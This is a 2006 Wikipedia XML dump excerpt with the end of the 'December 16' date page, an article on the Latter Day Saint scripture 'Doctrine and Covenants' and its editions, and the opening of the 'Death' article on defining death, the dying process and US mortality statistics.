*[[1882]] - [[Zoltán Kodály]], Hungarian composer (d. [[1967]])
*  1882   - [[Walther Meissner]], German physicist (d. [[1974]])
*  1882   - Sir [[Jack Hobbs]], [[England cricket team|English]] test cricketer (d. [[1963]])
*[[1888]] - King [[Alexander of Yugoslavia]] (d. [[1934]])
*[[1899]] - Sir [[Noel Coward]], British playwright, actor and composer (d. [[1973]])
*[[1901]] - [[Margaret Mead]], American anthropologist (d. [[1978]])
*[[1905]] - [[Piet Hein (Denmark)|Piet Hein]], Danish mathematician and inventor (d. [[1996]])
*[[1917]] - Sir [[Arthur C. Clarke]], British writer
*[[1926]] - [[James McCracken]], American tenor (d. [[1988]])
*[[1927]] - [[Randall Garrett]], American writer
*[[1928]] - [[Philip K. Dick]], American writer (d. [[1982]])
*[[1929]] - [[Nicholas Courtney]], British actor
*[[1932]] - [[Rodion Shchedrin]], Soviet-born Russian composer
*[[1934]] - [[Elgin Baylor]], American basketball player
*[[1938]] - [[Liv Ullmann]], Norwegian actress
*[[1941]] - [[Lesley Stahl]], American journalist
*[[1943]] - [[Steven Bochco]], American television producer and writer
*[[1946]] - [[Benny Andersson]], Swedish musician, singer and songwriter ([[ABBA]])
*  1946   - [[Trevor Pinnock]], British conductor and harpsichordist
*[[1947]] - [[Vincent Matthews]], American sprinter and Olympic gold medalist
*[[1949]] - [[Billy Gibbons]], American guitarist ([[ZZ Top]])
*[[1951]] - [[Robben Ford]], American guitarist
*[[1952]] - [[Joel Garner]], [[West Indies cricket team|West Indian]] test cricketer
*[[1961]] - [[Bill Hicks]], American comedian (d. [[1994]])
*[[1962]] - [[William Perry (football player)|William Perry]], American Football player
*[[1963]] - [[Benjamin Bratt]], American actor
*[[1964]] - [[Heike Drechsler]], East German-born German athlete, IAAF World Champion and Olympic gold medalist
*[[1967]] - [[Donovan Bailey]], Jamaican-born Canadian sprinter, IAAF World Champion and Olympic gold medalist
*[[1970]] - [[Nancy Valen]], American actress
*[[1975]] - [[Benjamin Kowalewicz]], Canadian singer ([[Billy Talent]])
*[[1977]] - [[Sylvain Distin]], French footballer
*[[1978]] - [[Gunter Van Handenhoven]], Belgian footballer
*[[1987]] - [[Hallee Hirsh]], American Actress
*[[1988]] - [[Anna Popplewell]], British Actress
*[[1989]] - [[Chen Yaoye]], professional [[Go (board game)|Go]] player

==Deaths==
*[[705]] - [[Empress Wu of Zhou]] (China; b. 625)
*[[714]] - [[Pippin of Herstal]], Mayor of the Palace of Austrasia
*[[999]] - Saint [[Adelaide of Italy]] (b. [[931]])
*[[1325]] - [[Charles of Valois]], son of [[Philip III of France]] (b. [[1270]])
*[[1379]] - [[John Fitzalan]], Marshal of England (drowned)
*[[1470]] - [[John II, Duke of Lorraine]] (b. [[1425]])
*[[1515]] - [[Alfonso d'Albuquerque|Afonso de Albuquerque]] Portuguese naval general (b. [[1453]])
*[[1669]] - [[Nathaniel Fiennes]], English politician
*[[1687]] - [[William Petty]], English scientist and philosopher (b. [[1623]])
*[[1751]] - [[Leopold II of Anhalt-Dessau]], Prussian general (b. [[1700]])
*[[1774]] - [[François Quesnay]], French economist (b. [[1694]])
*[[1783]] - [[Johann A. Hasse]], German composer (b. [[1699]])
*  1783   - Sir [[William James (naval commander)|William James]] British naval commander (b. [[1720]])
*[[1809]] - [[Antoine François, comte de Fourcroy]], French chemist (b. [[1755]])
*[[1859]] - [[Wilhelm Grimm]], German writer and folklorist (b. [[1786]])
*[[1898]] - [[Pavel Tretyakov]], Russian businessman and art collector (b. [[1832]])
*[[1914]] - [[Ivan Zajc]], Austro-Hungarian composer (b. [[1832]])
*[[1916]] - [[Grigori Rasputin]], Russian monk (b. [[1869]])
*[[1921]] - [[Camille Saint-Saëns]], French composer (b. [[1835]])
*[[1922]] - [[Gabriel Narutowicz]], first [[President of Poland]] (b. [[1865]])
*[[1928]] - [[Elinor Wylie]], American poet and writer (b. [[1885]])
*[[1945]] - [[Giovanni Agnelli]], Italian automobile manufacturer (b. [[1866]])
*  1945   - [[Fumimaro Konoye]], [[Prime Minister of Japan]] (b. [[1891]])
*[[1949]] - [[Sidney Olcott]], Canadian film director (b. [[1873]])
*[[1956]] - [[Nina Hamnett]], British artist (b. [[1890]])
*[[1965]] - [[W. Somerset Maugham]], British writer (b. [[1874]])
*[[1977]] - [[Risto Jarva]], Finnish filmmaker (b. [[1934]])
*[[1980]] - [[Colonel Sanders|Colonel Harland Sanders]], American fast food entrepreneur (b. [[1890]])
*  1980   - [[Hellmuth Walter]], German engineer and inventor (b. [[1900]])
*[[1982]] - [[Colin Chapman]], British engineer and automobile manufacturer, founder of [[Lotus Cars]] (b. [[1928]])
*[[1985]] - [[Paul Castellano]], American mafioso (b. [[1915]])
*  1985   - [[Thomas Bilotti]], American mafioso (b. [[1940]])
*[[1989]] - [[Lee Van Cleef]], American actor (b. [[1925]])
*  1989   - [[Aileen Pringle]], American actress (b. [[1895]])
*[[1990]] - [[Douglas Campbell (aviator)|Douglas Campbell]], American pilot (b. [[1896]])
*[[1993]] - [[Moses Gunn]], American actor  (b. [[1929]])
*  1993   - [[Tanaka Kakuei]], [[Prime Minister of Japan]] (b. [[1918]])
*[[1995]] - [[Mariele Ventre]], Italian choir director (b. [[1939]])
*[[1996]] - [[Quentin Bell]], British art historian (b. [[1910]])
*[[2001]] - [[Stuart Adamson]], British musician (suicide) (b. [[1958]])
*[[2003]] - [[Robert Stanfield]], Premier of Nova Scotia (b. [[1914]])
*  2003   - [[Gary Stewart (singer)|Gary Stewart]], American musician, singer and songwriter (suicide) (b. [[1945]])
*[[2004]] - [[Ted Abernathy]], American baseball player (b. [[1933]])
*[[2005]] - [[Kenneth Bulmer]], British author (b.[[1921]])
*  2005   - [[John Spencer (actor)|John Spencer]], American actor (b. [[1946]])

==Holidays and observances==
* [[Calendar of Saints|R.C. Saints]] - ''O Sapientia'' ; [[Adelaide of Italy]]
* [[Bahrain]] - [[National Day]]
* [[Bangladesh]] - [[Victory Day]]
* [[Kazakhstan]] - [[Independence Day]]
* [[Nepal]] - [[Constitution Day]] (To be confirmed)
* [[South Africa]] - [[Day of Reconciliation]]

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/december/16 BBC: On This Day]

----

[[December 15]] - [[December 17]] - [[November 16]] - [[January 16]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:16 Desember]]
[[an:16 d'abiento]]
[[ar:16 ديسمبر]]
[[ast:16 d'avientu]]
[[be:16 сьнежня]]
[[bg:16 декември]]
[[bs:16. decembar]]
[[ca:16 de desembre]]
[[ceb:Disyembre 16]]
[[co:16 di decembre]]
[[cs:16. prosinec]]
[[csb:16 gòdnika]]
[[cv:Раштав, 16]]
[[cy:16 Rhagfyr]]
[[da:16. december]]
[[de:16. Dezember]]
[[el:16 Δεκεμβρίου]]
[[eo:16-a de decembro]]
[[es:16 de diciembre]]
[[et:16. detsember]]
[[eu:Abenduaren 16]]
[[fi:16. joulukuuta]]
[[fo:16. desember]]
[[fr:16 décembre]]
[[fy:16 desimber]]
[[ga:16 Nollaig]]
[[gl:16 de decembro]]
[[he:16 בדצמבר]]
[[hr:16. prosinca]]
[[hu:December 16]]
[[ia:16 de decembre]]
[[id:16 Desember]]
[[io:16 di decembro]]
[[is:16. desember]]
[[it:16 dicembre]]
[[ja:12月16日]]
[[jv:16 Desember]]
[[ka:16 დეკემბერი]]
[[ko:12월 16일]]
[[ku:16'ê berfanbarê]]
[[la:16 Decembris]]
[[lb:16. Dezember]]
[[lt:Gruodžio 16]]
[[mk:16 декември]]
[[ms:16 Disember]]
[[nap:16 'e dicembre]]
[[nl:16 december]]
[[nn:16. desember]]
[[no:16. desember]]
[[oc:16 de decembre]]
[[pam:Disiembri 16]]
[[pl:16 grudnia]]
[[pt:16 de Dezembro]]
[[ro:16 decembrie]]
[[ru:16 декабря]]
[[scn:16 di dicèmmiru]]
[[sco:16 December]]
[[se:Juovlamánu 16.]]
[[simple:December 16]]
[[sk:16. december]]
[[sl:16. december]]
[[sq:16 Dhjetor]]
[[sr:16. децембар]]
[[sv:16 december]]
[[te:డిసెంబర్ 16]]
[[th:16 ธันวาคม]]
[[tl:Disyembre 16]]
[[tr:16 Aralık]]
[[tt:16. Dekäber]]
[[uk:16 грудня]]
[[vi:16 tháng 12]]
[[wa:16 di decimbe]]
[[war:Disyembre 16]]
[[zh:12月16日]]</text>
    </revision>
  </page>
  <page>
    <title>Doctrine and Covenants</title>
    <id>8220</id>
    <revision>
      <id>41378604</id>
      <timestamp>2006-02-26T23:16:28Z</timestamp>
      <contributor>
        <username>Antley</username>
        <id>349332</id>
      </contributor>
      <comment>/* History */</comment>
      <text xml:space="preserve">[[Image:Doctrine&amp;Covenants.jpg|thumb|right|Doctrine and Covenants]]

''The '''Doctrine and Covenants''''' (sometimes referred to as the '''''D&amp;C''''') is a part of the [[continuous revelation|open]] [[scripture|scriptural]] [[biblical canon|canon]] of [[Mormonism]]. The book exists in numerous forms published by different [[Latter Day Saint]] denominations. Generally, modern versions of the book primarily include [[revelation]]s concerning church governance.

==History==
{{Template:LDS}}
The ''Doctrine and Covenants'' was first published in [[1835]] as a later version of the ''[[Book of Commandments]]'', which had been partially printed in [[1833]]. This earlier book contained 65 early [[revelations]] by church leaders including [[Joseph Smith, Jr.]] and [[Oliver Cowdery]]. Before many copies of the book could be printed, however, the printing press and most of the printed copies were destroyed by a mob in [[Missouri]].

On [[September 24]], [[1834]] a committee was appointed by the general assembly of the church to organize a new volume containing the most significant [[Latter Day Saint]] [[revelation]]s. This committee of Presiding [[Elder (Mormonism)|Elder]]s, consisting of [[Joseph Smith, Jr.]], [[Oliver Cowdery]], [[Sidney Rigdon]], and [[Frederick G. Williams]], began to review and revise numerous revelations for inclusion in the new work. The committee eventually organized the book into two parts: a &quot;Doctrine&quot; part followed by a &quot;Covenants&quot; part.

The &quot;Doctrine&quot; part of the book consisted of a theological course now called the ''[[Lectures on Faith]]''. The Lectures were a series of doctrinal courses used in the [[School of the Prophets]] which had recently been completed in [[Kirtland, Ohio]]. According to the committee, these Lectures were included in the compilation &quot;in consequence of their embracing the important doctrine of salvation.&quot; (''See'' 1835 D&amp;C, Preface.)

The &quot;Covenants&quot; part of the book, labeled &quot;Covenants and Commandments of the Lord, to his servants of the church of the Latter Day Saints&quot;, contained a total of 103 revelations on church governance. These 103 revelations were said to &quot;contain items or principles for the regulation of the church, as taken from the revelations which have been given since its organization, as well as from former ones.&quot; (''See'' ''id.'') Each of the 103 revelations was assigned a &quot;section number&quot;; however, section 66 was numbered twice. Thus, the original work was numbered only to 102.

On [[February 17]], [[1835]], after the committee had selected the book's contents, the committee wrote that the resulting work represents &quot;our belief, and when we say this, humbly trust, the faith and principles of this society as a body. (''See'' 1835 D&amp;C, Preface.)

The book was first introduced to the church body in a general conference on [[August 17]], [[1835]]. [[Joseph Smith, Jr.]] and [[Frederick G. Williams]], two of the Presiding Elders on the committee, were absent, but [[Oliver Cowdery]] and [[Sidney Rigdon]] were present. The church membership at the time had not yet seen the ''Doctrine and Covenants'' manuscript as it had been compiled and revised by the committee; however, various church members who were familiar with the work &quot;bore record&quot; of the book's truth. Two sections, however, were read verbatim to the membership of the church: [[William W. Phelps]] read section 101, which contained a denouncement of [[polygamy]], and [[Oliver Cowdery]] read section 102, which was an article on national governments and laws. At the end of the conference, the church voted to accept the compilation as &quot;the doctrine and covenents of their faith, by a unanimous vote&quot; (History of the Church 2: 243-6), and to make arrangements for its printing.

Later in [[1835]], the book was printed and published under the title ''Doctrine and Covenants of the Church of the Latter Day Saints: Carefully Selected from the Revelations of God''.

===Challenged===
At the time of the publication of the book, several Church members questioned some of the wording of the revelations. Joseph Smith responded with a revelation that challenged the wisest member to try and produce a revelation comparable to the least of them. (D&amp;C 67:6&amp;ndash;7, LDS) [[William E. McLellin]], who was thought to be the smartest member at the time, was selected, but was unable to produce such a revelation. (''History of the Church'', 1:226)

==The Church of Jesus Christ of Latter-day Saints editions==
In [[Church of Jesus Christ of Latter-day Saints|The Church of Jesus Christ of Latter-day Saints]] (LDS Church), ''The Doctrine and Covenants'' stands alongside the [[Bible]], the [[Book of Mormon]], and ''The [[Pearl of Great Price (Mormonism)|Pearl of Great Price]]'' as holy scripture.  Together they are referred to as the &quot;[[Standard Works of the LDS Church|Standard Works]].&quot;

===Sections added to LDS edition===
The 138 Sections in The Church of Jesus Christ of Latter-day Saints' ''Doctrine and Covenants'' break down as follows:
*Sections 1–134, 137 — From the presidency of [[Joseph Smith, Jr.]] (1828–1844)
*Sections 135–136 — During the administration of the [[Quorum of the Twelve|Twelve]] (1844–1847)
*Official Declaration 1 — From the presidency of [[Wilford Woodruff]] (1889–1898)
*Section 138 — From the presidency of [[Joseph F. Smith]] (1901–1918)
*Official Declaration 2 — From the presidency of [[Spencer W. Kimball]] (1973–1985)

The 1844 edition added eight sections not included in the 1835 edition.  In the current edition, these are numbered Sections 103, 105, 112, 119, 124, 127, 128, and 135.

In 1876, a new edition renumbered most of the sections in a roughly chronological order instead of the earlier topical order, and included twenty-six revelations not included in previous editions, now numbered as Sections 2, 13, 77, 85, 87, 108-11, 113-18, 120-23, 125, 126, 129-32, and 136.  This was the first edition in which the text was divided into verses.

During the 1880s five foreign editions contained two revelations to [[John Taylor]] (in 1882 &amp; 1883) which &quot;set in order&quot; the priesthood, gave more clarificatation about the roles of priesthood offices - especially the Seventy and required Priesthood leaders to live [[plural marriage]] in order to qualify to hold their Church positions.  Probably due to the LDS Church's change in attitude to this doctrine in 1890, these sections were not included in future English editions.

In 1930 a small volume edited by [[James E. Talmage]] titled &quot;Latter-day Revelations&quot; was published, which contained a highly edited selective version of the Doctrine and Covenants.  Some believe it was intended to to replace the Doctrine and Covenants, but that due to the controversy that arose this plan was dropped.  Interestingly it did not contain the section on plural marriage (D&amp;C 132) at all.

Sections 137 and 138 were added in the 1981 edition.  These were accounts of two visions, one from Joseph Smith and the other from his nephew, Joseph F. Smith in 1918.  No new revelatory sections have been added in the 20th or 21st centuries.

The LDS Church's edition also now contains two &quot;Official Declarations&quot; at the book's conclusion, the first renouncing [[polygamy]] in [[1890]], and the second renouncing racial discrimination in ordaining members to the [[Priesthood (Mormonism)|Priesthood]] in [[1978]]. An &quot;Official Declaration&quot; is not a revelation, but an announcement ''that'' a revelation was received. In neither case is the entire revelation included in the Doctrine and Covenants, and these two revelations were possibly not of the nature of a writable piece of text.

===Portions removed from the LDS edition===
In 1876, the original Section 101 was removed.  It had included the text:
:&quot;Inasmuch as this Church of Christ has been reproached with the crime of fornication, and polygamy: we declare that we believe that one man should have one wife; and one woman but one husband, except in the case of death, when either is at liberty to marry again.&quot;  
Replacing this section is the Section now numbered 132 which discusses the doctrine of [[plural marriage]] (now discontinued within the LDS Church).

In [[1921]], the LDS Church removed the ''[[Lectures on Faith]]'' portion of the book, apparently without a vote by the church body, with an explanation that the Lectures &quot;were never presented to nor accepted by the Church as being otherwise than theological lectures or lessons&quot;. (''See'' Introduction , [[1921]] edition.) The Lectures contained theology concerning the [[Godhead (Mormonism)|Godhead]]&amp;mdash;such as that the Godhead consists of two &quot;personages&quot; (5:2a), and that the Father is a &quot;personage of spirit, glory, and power&quot; (5.2:c)&amp;mdash;that were apparently inconsistent with Joseph Smith's later teachings that the Godhead consists of three personages, and that the Father has a physical body.

==Community of Christ editions==
Officials of [[Community of Christ]] (formerly known as the Reorganized Church of Jesus Christ of Latter Day Saints) first published an edition of ''The Doctrine and Covenants'' in 1864, based on the previous 1844 edition.  A [[General Conference (Mormonism)|General Conference]] of the church in 1878 approved a resolution that declared that the revelations of the Prophet-President [[Joseph Smith III]] had equal standing to those previously included in the work.  Since that time, the church has continually added sections to its edition of ''The Doctrine and Covenants'', containing the revelations of succeeding Prophet-Presidents.  (The numbers of the sections and versification differ from the edition published by [[Church of Jesus Christ of Latter-day Saints|The Church of Jesus Christ of Latter-day Saints]] and both modern editions differ from the original 1835 edition numeration).

===Sections added to Community of Christ edition===
The 163 Sections of the Community of Christ's ''Doctrine and Covenants'' break down as follows:
*Sections 1–113 — From the presidency of [[Joseph Smith, Jr.]] (1828–1844)
*Sections 114–131 — From the presidency of [[Joseph Smith III]] (1860–1914)
*Sections 132–138 — From the presidency of [[Frederick Madison Smith|Frederick M. Smith]] (1914–1946)
*Sections 139–144 — From the presidency of [[Israel Alexander Smith|Israel A. Smith]] (1946–1958)
*Sections 145–152 — From the presidency of [[W. Wallace Smith]] (1958–1978)
*Sections 153–160 — From the presidency of [[Wallace B. Smith]] (1978–1996)
*Sections 161–162 — From the presidency of [[W. Grant McMurray]] (1996–2004)

===Portions removed from the Community of Christ edition===
A General Conference of the church removed the &quot;Doctrine&quot; portion of the work in 1897.  A &quot;[[General Conference (Mormonism)|World Conference]]&quot; (as &quot;General Conferences&quot; are now known) concluded that several sections that had been added between the 1835 and 1844 editions had been included without proper approval of a church conference.  The World Conference removed Sections 107, 109, 110, 113 and 123 to an &quot;appendix.&quot;  A World Conference in 1990 subsequently removed the appendix from the ''Doctrine and Covenants''.

==Editions used by other denominations==
The [[Church of Jesus Christ of Latter Day Saints (Strangite)]] uses the 1846 [[Nauvoo, Illinois]] edition which is virtually identical to the 1844 edition.  Most recently a facsimile reprint was produced for the church at [[Voree, Wisconsin]] by Richard Drew in 1993.

The [[Church of Christ (Temple Lot)]] contends that the thousands of changes made to the original revelations as published in ''The [[Book of Commandments]]'', published in the 1835 and later editions of the ''Doctrine and Covenants'' (including the change of the church's name) are undoctrinal and result from Joseph Smith's fall from his original calling.  As a result, the Church of Christ prefers to use reprints of ''The Book of Commandments'' text.

==External links==
*[http://scriptures.lds.org/dc/contents LDS Edition of the D &amp; C]
*[http://www.centerplace.org/hs/dc/default.htm Community of Christ Edition]
*[http://www.saintswithouthalos.com/s/_d&amp;c.phtml SaintsWithoutHalos.com: Doctrine and Covenants] - Mormon historical revisionist site with thoroughly annotated ''D&amp;C'' showing changes from various editions.

==References==
*''The Doctrine and Covenants of The Church of Jesus Christ of Latter-day Saints Containing Revelations Given to Joseph Smith, the Prophet, with Some Additions by his Successors in the Presidency of the Church'', Intellectual Reserve: Salt Lake City, UT, 2000.
*''Book of Doctrine and Covenants: Carefully Selected from the Revelations of God and Given in the Order of their Dates'', Herald Publishing House: Independence, MO, 2000.
*Joseph Smith, ''The Doctrine and Covenants of the Church of Jesus Christ of Latter Day Saints: Carefully Selected from the Revelations of God'', photo enlarged and reprinted from the 1846 Nauvoo edition by Richard Drew, Burlington (Voree), Wisconsin, 1993, for the Church of Jesus Christ of Latter Day Saints (Strangite).

[[Category:Latter Day Saint texts]]
[[Category:Religious texts]]

[[de:Lehre und Bündnisse]]
[[es:Libro de Doctrina y Convenios (mormonismo)]]
[[eo:Doktrino kaj Interligoj]]
[[no:Lære og pakter]]
[[pl:Nauki i Przymierza]]
[[pt:Doutrina e Convênios]]</text>
    </revision>
  </page>
  <page>
    <title>Death</title>
    <id>8221</id>
    <revision>
      <id>42117262</id>
      <timestamp>2006-03-03T23:00:36Z</timestamp>
      <contributor>
        <username>Bobbaxter</username>
        <id>903277</id>
      </contributor>
      <comment>/* Personification of death */</comment>
      <text xml:space="preserve">:&lt;span class=&quot;dablink&quot;&gt;''For other uses, see [[Death (disambiguation)]] or [[Dead (disambiguation)]].''&lt;/span&gt;

'''Death''' is the cessation of physical [[life]] in a living [[organism]], or the state of the organism after that event.




== Defining the moment of human death ==
There is an asymmetry between [[life]] and death. While cells and organisms may die, they have never been observed to arise from non-living material ([[abiogenesis|spontaneous generation]]), as found by [[Louis Pasteur]] in the late [[19th century]]. In human affairs, we are normally concerned with the life and death of a person, not the death of his or her components. 

Identifying the exact moment of death is important for a number of reasons. From a legal standpoint, it allows for the establishment of a consensus time of death, and thus helps ensure that a person's [[Will (law)|legal Will]] is executed only after he or she is truly deceased. Identifying the moment of death is even more important in cases of [[organ transplant|transplantation]], as organs for transplant (which, of course, exclude the brain) must be harvested as quickly as possible after the death of the body.

Historically, attempts to define the exact moment of death have been problematic. Death was once defined as the cessation of [[heart]]beat ([[cardiac arrest]]) and of [[breath]]ing, but the development of [[cardiopulmonary resuscitation|CPR]] and prompt [[defibrillation]] posed a challenge. The previous definition was inadequate. This earlier definition of death is now called &quot;[[cardiac arrest|clinical death]]&quot;, and even after it occurs, breathing and heartbeat may be restarted in some cases. Events which were causally linked to irreversible mortality in the past are now prevented from having an effect; even without a functioning heart and lungs, a person can be sustained with [[life support|life-support]] devices. In addition to such extremes, there are a growing number of people who would quickly die if their organ transplants or [[cardiac pacemaker]]s failed.

Today, where a definition of the moment of death is required, doctors and coroners usually turn to &quot;[[brain death]]&quot; or &quot;biological death&quot;: people are considered dead when the electrical activity in their brain ceases (cf. [[persistent vegetative state]]). It is presumed that a stoppage of electrical activity indicates the end of [[consciousness]]. However, suspension of consciousness must be permanent, and not transient, as occurs during [[sleep]], and especially [[coma]]. In the case of sleep, EEGs can easily tell the difference.

Brain activity is a necessary condition to legal personhood. &quot;''It appears that once brain death has been determined &amp;#8230; no criminal or civil liability will result from disconnecting the life-support devices.''&quot; Dority v. Superior Court of San Bernardino County, 193 Cal.Rptr. 288, 291 (1983)

However, those maintaining that only the [[neo-cortex]] of the brain is necessary for consciousness sometimes argue that only electrical activity there should be considered when defining death. Eventually it is likely that the criterion for death will be the permanent and irreversible loss of [[cognition|cognitive]] function, as evidenced by the death of the cerebral cortex. All hope of recovering human thought and [[personality psychology|personality]] is then gone. However, at present, in most places the more conservative definition of death — cessation of electrical activity in the whole brain, as opposed to just in the neo-cortex — has been adopted (for example the [[Uniform Determination Of Death Act]] in the [[United States]]). In 2005, the case of [[Terri Schiavo]] brought the question of brain death and artificial sustainment to the front of American politics. Generally, in such contested cases the cause of death is [[anoxia]]. [[Oxygen]] deprivation for about seven minutes is sufficient to kill the cerebral cortex.

Even in these cases, the determination of death can be difficult. EEGs can detect spurious electrical impulses when none exists, while there have been cases in which electrical activity in a living brain has been too low for EEGs to detect. Because of this, hospitals often have elaborate protocols for determining death involving EEGs at widely separated intervals.

There are many anecdotal references to people being declared dead by physicians and then coming back to life, sometimes days later in their own coffin, or when [[embalming]] procedures are just about to begin. Stories of people actually being buried alive (which must assume no embalming) led one inventor in the early [[20th century]] to design an alarm system, with a bell and a cord that could be pulled from inside the coffin.

Because of the difficulties in determining death, under most emergency protocols, a [[first responder]] is not authorized to pronounce a patient dead; some EMT training manuals, for example, specifically state that a person is not to be assumed dead unless there are clear and obvious indications that death has occurred, such as mortal [[decapitation]], [[rigor mortis]] (rigidity of the body), [[livor mortis]] (blood pooling in the part of the body at lowest elevation), decomposition, or incineration, or other bodily damage clearly inconsistent with life. If there is any possibility of life and in the absence of a [[do not resuscitate]] (DNR) order, emergency workers are instructed to begin rescue and not end it until a patient has been brought to a hospital to be examined by a physician. This frequently leads to situation of a patient being pronounced [[dead on arrival]] (DOA).

In cases of [[electrocution]], CPR for an hour or longer can allow stunned [[nerve]]s to recover, allowing an apparently-dead person to survive. People found unconscious under icy water may survive if their [[face]]s are kept continuously cold until they arrive at an emergency room. This &quot;diving response&quot;, in which [[metabolism|metabolic activity]] and oxygen requirements are minimal, is something we share with [[cetacea]]ns.

== The process of dying ==
=== Cell death ===

A. Normal cellular function
:# Production of [[free energy]] required for vital cellular [[metabolism]]
:# Production of enzymatic and structural protein
:# Maintenance of chemical and [[osmosis|osmotic]] [[homeostasis]] of cell
:# [[Cell reproduction]]

B. Needs of cell
:# [[Oxygen]], [[phosphate]], [[calcium]]… (C, H, N, O, P, S; pronounced &quot;schnapps&quot;)
:# Nutritional substrates
:# [[Adenosine triphosphate|ATP]] – required as a source of free energy
:# Intact [[cell membrane]]s
:# Steady-state activity requires O&lt;sub&gt;2&lt;/sub&gt; consumption

=== Physiological changes ===
A. Events leading to death:
:# Brain ceases to supply information vital for controlling ventilation, heart rhythm, and/or [[vasodilation]] and [[vasoconstriction]];
:# Lungs unable to supply O&lt;sub&gt;2&lt;/sub&gt; exchange with blood stream;
:# Heart and blood vessels unable to maintain adequate circulation of blood to vital tissues.

B. [[Cerebrovascular system]]:
:# [[Hemorrhage]];
:# Pump failure;
:# Decreased [[Carbon dioxide|CO&lt;sub&gt;2&lt;/sub&gt;]] leads to decreased PCO&lt;sub &gt;2&lt;/sub &gt; leads to [[Cheyne-Stokes respiration]].

C. [[Central nervous system|CNS]] problems:
:# [[Infection]];
:# [[Blood vessel]] disruption;
:# [[Malignant]] [[tumor]]s;
:# [[Metabolism|Metabolic]] changes:
:## [[Renal failure]];
:## [[Hepatic failure]];
:## [[Pancreas|Pancreatic]] failure.

D. [[CNS]] decompensation:
:# Early signs:
:## Sluggish pupils:
:### Non-reactive to stimuli;
:### Dilated and fixed - this is also an effect of certain [[drug|drugs]].
:## Confusion;
:## Inability to orient oneself.
:# Later signs:
:## [[Lethargy]];
:## Decreased ability to perform simple [[cognition|cognitive]] functions;
:## Attention only by tactile, auditory or visual stimuli.
:# Late signs:
:## Stupor, sleep;
:## Withdrawal of purposeless involvement to stimuli without wakefulness or arousal;
:## Loss of bowel control.
:# Semi-[[coma|comatose]] - movement occurs only with pain;
:# Deep coma - unresponsive to stimuli.

E. Respiratory system:
:# [[Cerebral blood flow|CBF]];
:# [[Chronic obstructive pulmonary disease|COPD]];
:# Infections;
:# Cancer [[metastasis]].

:Changes after death:
:# Body cools at a rate of 1.5[[°F]]/hr;
:# [[Rigor mortis]] - begins prior to [[decomposition]]:
:## Muscles gradually become hard due to decreased ATP and [[lactic acidosis]] within muscle [[fibril|fibrils]]
:## Begins 2-4 hours after death, though the process may begin more immediately;
:## May disappear after 9-12 hours in a warm enough [[climate]].
:# [[Livor mortis]] - begins on the point of death:
:## Body becomes distended;
:## Skin color progressively changes from green to purple and finally to black;
:## Dependent areas of the body undergo this process first due to the pooling of blood;
:## Seen within 2 hours of death, the process of livor mortis reaches its maximum at 8-12 hours.

== Signs of approaching death ==
;When death is imminent
Physical death is a progressive process, during which there are some signs that usually indicate that death is imminent. Not all of the following changes occur, nor do they necessarily occur in any particular order, as the body shuts down during the dying process. In general, the following information may help anticipate and understand changes that appear as an individual approaches death and is “actively dying.”

* The dying individual may become increasingly tired and sleepy, and may be difficult to arouse ([[lethargy]]).

* The dying individual may become confused much of the time and may no longer recognize familiar persons, places, or objects.

* Hearing and vision may become impaired, and speech may be slurred, difficult to understand, or nonsensical.

* A few dying individuals become restless or very anxious and move about frequently in the bed, pull at the bed clothes or bedding (linen clutch), and reach out.

* The person may experience hallucinations.

* Less nourishment will be required, and the person’s intake of food and water will diminish. Difficulty in swallowing (dysphagia) may also occur.

* The person may sweat profusely.

* The dying person may lose control of his/her urine or bowels ([[incontinence]]), necessitating that the individual be kept especially clean and dry in order to prevent [[bed sores]] (decubitis ulcers).

* Urine may become darker, and urination may diminish or stop.

* The mouth of the dying individual may become dry, and then secretions may accumulate in the back of the throat. Breathing may become noisy because of the gurgling or rattling of the secretions in the mouth or chest ([[death rattle]]).

* The pattern of breathing may change; become slower or faster, deeper or shallower, or irregular. Often the dying individual will have periods of rapid breathing followed by periods in which breathing is very slow or is even absent for as long as 15 seconds.

* The legs, and then arms, may become cold and nonreflexive as the circulation slows down.

* The skin may be pale or mottled, and some parts, particularly the underside of the body, may become a dark color as the blood pools, usually a deep blue or purple.

;When death occurs
* Breathing ceases entirely.
* Heartbeat and pulse stop.
* The person is entirely unresponsive to stimuli.
* The eyes may be fixed in directions. The pupils are dilated and fixed to light. The eyelids may be open or closed.
* A loss of control of urine and/or bowels may occur.
* The person becomes progressively mottled and cold and stiff (known as [[rigor mortis]])
* The skin may become pale; there may be signs of blood buildup in the part of the body at lowest elevation (known as [[Livor mortis]]).

== Causes of human death in the US ==
In [[2002]], in the [[United States]], various common or noteworthy causes of death were:


* [[Heart disease]]: 696,947
* [[Cancer]]: 557,271
* [[Stroke]]: 162,672
* Chronic lower [[respiratory disease]]s: 124,816
* [[Accident]]s (unintentional injuries): 106,742
* [[Diabetes]]: 73,249
* [[Influenza]]/[[pneumonia]]: 65,681
* [[Alzheimer's disease]]: 58,866
* [[Nephritis]], [[nephrotic syndrome]], and [[nephrosis]]: 40,974	 
* [[Septicemia]]: 33,865
* [[Suicide]]: 30,622
* [[Murder]]: 16,110
* [[Execution]]: 71

Statistical data from
[http://www.cdc.gov/nchs/fastats/lcod.htm U.S. Department of Health &amp; Human Services], [http://www.deathpenaltyinfo.org/ Death Penalty Information Center]
===Prebirth Deaths in the US===
These entries are [[controversy|controversial]], as they are based on the premise that [[personhood]] begins at conception rather than birth or a particular prenatal development (See [[abortion debate]]; there are various opinions as to whether or not a fetus is an independant organism or fully human, for this reason abortion and miscarriage are not normally considered when compiling death statistics).
* [[Spontaneous abortion]] (''Miscarriage''): Approximately 1,000,000 (This number may be considerably more, as most miscarriages aren't reported; perhaps as many as 1 in 3 pregnancies end in miscarriage).  	 
* [[Abortion|Clinical abortion]]s: 1,293,000 

Statistical data from
[http://www.agi-usa.org/media/presskits/2005/06/28/abortionoverview.html The Alan Guttmacher Institute], and 
[http://www.hopexchange.com/Statistics.htm Miscarriage Statistics].

== Consciousness after death ==
Belief in [[consciousness]] [[after life|after death]] is common and has endured throughout history. Almost every civilization in history has had some belief system relating to life after death. This point of view holds conciousness to be more than simply one of the things that [[brain]]s do.

== Physiological consequences of human death ==
[[Image:Human remains.jpg|thumb|rsight|Human remains found in scrub, circa 1900-1910.]]
For the human body, the physiological consequences of death follow a recognized sequence through early changes into [[bloating]], then decay to changes after decay and finally skeletal remains.

